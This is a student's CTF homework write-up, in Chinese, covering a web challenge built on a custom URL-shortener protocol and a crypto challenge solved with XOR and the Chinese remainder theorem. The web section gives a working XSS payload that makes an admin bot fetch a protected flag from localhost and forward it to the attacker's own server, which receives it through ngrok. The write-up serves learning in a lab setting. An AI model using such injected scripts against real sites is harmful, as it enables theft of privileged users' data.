---
# System prepended metadata

title: Programing Security

---

# Programing Security 2023 Writeup HW
> User ID : tyctyc StuID : 112550150
## Web

- ### GUSP
> GUSP是一個自訂的協議，所以題目要求要寫出一個 Server 端，並且查看題目原始碼中的 testCase ，可以看到總共需要通過 5 個 testcases 才能建立服務在那上面

> 進去首頁看到

![](https://hackmd.io/_uploads/r1N0vkl1T.png)

> 點選 Add Your GUSP API 發現權限不足，查看後端邏輯後，發現只要有 authenticated 這個 Cookie 就可以進入

```javascript=71
app.post('/add-api', async (req, res) => {
    if (!req.cookies['authenticated'])
        return res.send("You are not authenticated");
```


>新增時的畫面還可以讓你免費插入 JavaScript，也就是在使用者被短網址重新導向之前，可以先執行一段 javascript

![](https://hackmd.io/_uploads/ryft_JgJT.png)

> 看到這裡一定是要寫一個 Server 端出來了，所以就開始研究一些必要的參數以及要處裡的東西 e.g.
1. 可能會有兩種不同長度的回應
```javascript=93
   testCases.map(({ original, alias }) => new Promise((resolve, reject) => {
            const body = alias === null ?
                `[gusp]URL|${original.length}|${original}[/gusp]` :
                `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
```

2. 回應的 Header Content-Type 必須也是 application/gusp

```javascript=102
            }).then(res => {
                if (!res.headers.get('Content-Type').startsWith('application/gusp')) {
                    reject(new Error(`Should return Content-Type: application/gusp`));
                }
```
3. 回傳 GUSP 協定時，必須也包含該短網址 ID 之長度

```javascript=107
}).then(async res => {
                const [status, length, content] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
                if (+length !== content.length) {
                    reject(new Error(`Length mismatch: ${length} vs ${content.length}`));
                }
```

4. 短網址ID如果是自行生產的，必須符合以下規範 ```/[^A-Za-z0-9_-]/```

```javascript=113
                if (content.match(/[^A-Za-z0-9_-]/)) {
                    reject(new Error(`Invalid alias format ${content}: should only contain A-Za-z0-9_-`));
                }
```

5. 如果是不重複短網址ID建立要求，必須在狀態訊息中寫入 SUCCESS ```[gusp]SUCCESS|短網址長度|短網址ID[/gusp]```

```javascript=117
                if (status !== 'SUCCESS') {
                    reject(new Error(`Should return SUCCESS for non-duplicated alias`));
                }
```

6. testCase會故意送出一個重複的建立請求，必須要給予狀態訊息 ERROR 並且阻擋建立
```javascript=138
                } else if (testMode === 4) {
                    // create a duplicated alias
                    const body = `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`;
                    const res = await fetch(url, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/gusp', },
                        body
                    }).then(res => res.text());
                    const [status, _, __] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|');
                    if (status !== 'ERROR') {
                        reject(new Error(`Should return ERROR for duplicated alias`));
                    }
```

7. 不存在要回應 404 status code

```javascript=132
                } else if (testMode === 3) {
                    // visit a non-exist alias
                    const redirect = await fetch(new URL(url + '/' + randStr(randInt(3, 10))), { redirect: 'manual' });
                    if (redirect.status !== 404) {
                        reject(new Error(`Should return 404 for non-exist alias`));
                    }
```

8. 成功找到短網址ID應該要回應 302 status code 並給予 Location Header

```javascript=122
                if (testMode <= 2) {
                    // normal visit
                    const redirect = await fetch(new URL(url + '/' + content), { redirect: 'manual' });
                    if (redirect.status !== 302) {
                        reject(new Error(`Should redirect with status 302`));
                    }
                    const location = redirect.headers.get('Location').trim();
                    if (location !== original) {
                        reject(new Error(`${content}: Should redirect to ${original}, but got ${location}`));
                    }
```

> 好了，寫完之後長這樣
```javascript=
from flask import Response,Flask,request
import re
import random,string

app = Flask(__name__)

shortdb = {}

def shortGen():
    return str(random.randint(0, 3))+''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k=random.randint(3, 10)))

@app.route('/shorten',methods=["POST"])
def shortened():
    reqGusp = str(request.data)[8:-8].split("|")
    try:
        if shortdb.get(reqGusp[3]):
            print("==== Detect Duplicate Requests ====")
            a_error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]"
            return Response(a_error_xml, mimetype='application/gusp')
    except:
        pass
    if len(reqGusp) == 3:
        tmpId = shortGen()
        print("3=== " + tmpId + " ===3")
        shortdb[tmpId] = reqGusp[2]
        xml = f"[gusp]SUCCESS|{len(tmpId)}|{tmpId}[/gusp]"
        return Response(xml, mimetype='application/gusp')
    elif len(reqGusp) == 4:
        print("4=== " + reqGusp[3] + " ===4")
        shortdb[reqGusp[3]] = reqGusp[2]
        xml = f"[gusp]SUCCESS|{len(reqGusp[3])}|{reqGusp[3]}[/gusp]"
        return Response(xml, mimetype='application/gusp')
    else:
        print("Error")

@app.route('/shorten/<shortened_id>', methods=['GET'])
def get_original_url(shortened_id):
    original_url = shortdb.get(shortened_id)
    if original_url:
        return Response(mimetype='text/html',headers={"Location": f"{original_url}",'Access-Control-Allow-Origin':'*'}), 302
    else:
        error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]"
        return Response(error_xml, mimetype='application/gusp'), 404

@app.route('/flag', methods=['POST'])
def fake():
    print(request.data)
    return "flaag{fake}"

# 一些測試的API

@app.route('/text', methods=['GET'])
def ddd():
    return "flaag{fake}"
if __name__ == '__main__':
    app.run(debug=True,host="0.0.0.0")


```

#### 把環境跑起來
有對 Dockerfile 做 Patch
:::spoiler Docker File
```dockerfile=
FROM alpine
 
# Installs latest Chromium (100) package.
RUN apk add --no-cache \
      chromium \
      nss \
      freetype \
      harfbuzz \
      ca-certificates \
      ttf-freefont \
      nodejs \
      yarn

# Tell Puppeteer to skip installing Chrome. We'll be using the installed package.
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
 
# Puppeteer v13.5.0 works with Chromium 100.
RUN yarn add puppeteer@13.5.0
 
# Add user so we don't need --no-sandbox.
RUN addgroup -S pptruser && adduser -S -G pptruser pptruser \
    && mkdir -p /home/pptruser/Downloads /app \
    && chown -R pptruser:pptruser /home/pptruser \
    && chown -R pptruser:pptruser /app
 
# Run everything after as non-privileged user.


USER pptruser
 
WORKDIR /app

COPY ./ /app

RUN yarn install

CMD ["yarn", "start"]

```
:::


![](https://hackmd.io/_uploads/SJ08FGxkp.png)

#### 神秘的路徑們
兩個路徑都沒有在頁面上顯示
- /flag
    - 要拿到 flag 必須要是有特定 Header 以及 req.ip 要等於本機IP
    ```javascript=28
    app.get('/flag', (req, res) => {
        // only allow localhost users to get the flag -- which is the bot
        // bot? see /report handler
        if (req.headers['give-me-the-flag'] === 'yes' &&
            req.ip.endsWith('127.0.0.1')) {
            return res.send(flag);
        }
        res.send('No flag for you');
    });
    ```

- /report
    - 可以向一個模擬的 Admin 瀏覽器去瀏覽建立好的 GUSP API， Admin 是從 127.0.0.1 發出的

#### 嘗試的過程
Payload進化史圖，對於Javascript熟悉度待加強
同時也有參考之前我打過的 picoCTF XSS 的 [writeup](https://ctftime.org/writeup/32928)

![](https://hackmd.io/_uploads/SJ2Cwzeya.png)

1. 想要用一個 API 來回傳所有東西，但後來碰到了 CORS 的問題。當時的想法是，讓Bot造訪/flag 之後，直接再送出flag到外部的伺服器
2. 發現腳本執行不了，換成比地端跑，發現忘記指定 fetch 的 method 為 GET
3. 想到可以將回傳的 flag 再次傳送到 127.0.0.1:3000/創好的API/flag，實現如下
- 1. 先建立一個空白的API
    ![](https://hackmd.io/_uploads/BkC_uzlJ6.png)
- 2. 建立釣魚腳本API
    ![](https://hackmd.io/_uploads/r1gOdMgJp.png)
```javascript=
fetch('http://127.0.0.1:3000/flag', {method: 'GET', headers: {'give-me-the-flag': 'yes'}}).then(response => response.text()).then(data => setTimeout(() => {
            fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}`, {
                credentials: "include",
                method: "GET",
            });
        }, 200));
```

可以將 ```fbebee13-76b6-4919-98e5-39ba33733145``` 替換成剛剛創建的另一個空白API

這樣一來當Admin訪問 ```fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}```時，就可以將flag利用短網址ID這個欄位的方式傳送請求到我的API Server，即可接收到FLAG

- 3. 坐等flag

Flask

![](https://hackmd.io/_uploads/B1NovMeJ6.png)

Ngrok

![](https://hackmd.io/_uploads/Sy9oPGxkp.png)


## Crypto

### Extrem Xorrrrr
```python=
from Crypto.Util.number import long_to_bytes, inverse

def xorrrrr(nums):
    n = len(nums)
    result = [0] * n
    for i in range(1, n):
        result = [ result[j] ^ nums[(j+i) % n] for j in range(n)]
    return result

hint = [297901710, 2438499757, 172983774, 2611781033, 2766983357, 1018346993, 810270522, 2334480195, 154508735, 1066271428, 3716430041, 875123909, 2664535551, 2193044963, 2538833821, 2856583708, 3081106896, 2195167145, 2811407927, 3794168460]
muls = [865741, 631045, 970663, 575787, 597689, 791331, 594479, 857481, 797931, 1006437, 661791, 681453, 963397, 667371, 705405, 684177, 736827, 757871, 698753, 841555]
mods = [2529754263, 4081964537, 2817833411, 3840103391, 3698869687, 3524873305, 2420253753, 2950766353, 3160043859, 2341042647, 4125137273, 3875984107, 4079282409, 2753416889, 2778711505, 3667413387, 4187196169, 3489959487, 2756285845, 3925748705]

hint = xorrrrr(hint)
muls = xorrrrr(muls)
mods = xorrrrr(mods)

from functools import reduce
def egcd(a, b):
    """歐幾里德展開"""
    if 0 == b:
        return 1, 0, a
    x, y, q = egcd(b, a % b)
    x, y = y, (x - a // b * y)
    return x, y, q
def chinese_remainder(pairs):
    """中國餘式定理"""
    mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
    mod_product = reduce(lambda x, y: x * y, mod_list)
    mi_list = [mod_product//x for x in mod_list]
    mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
    x = 0
    for i in range(len(remainder_list)):
        x += mi_list[i] * mi_inverse[i] * remainder_list[i]
        x %= mod_product
    return x

ans = []
for i in range(20):
    ans.append(hint[i] * pow(muls[i],-1,mods[i])% mods[i])

bb = []
for i in range(20):
    bb.append((mods[i],ans[i]))
print(bb)
print(long_to_bytes(chinese_remainder(bb)))
```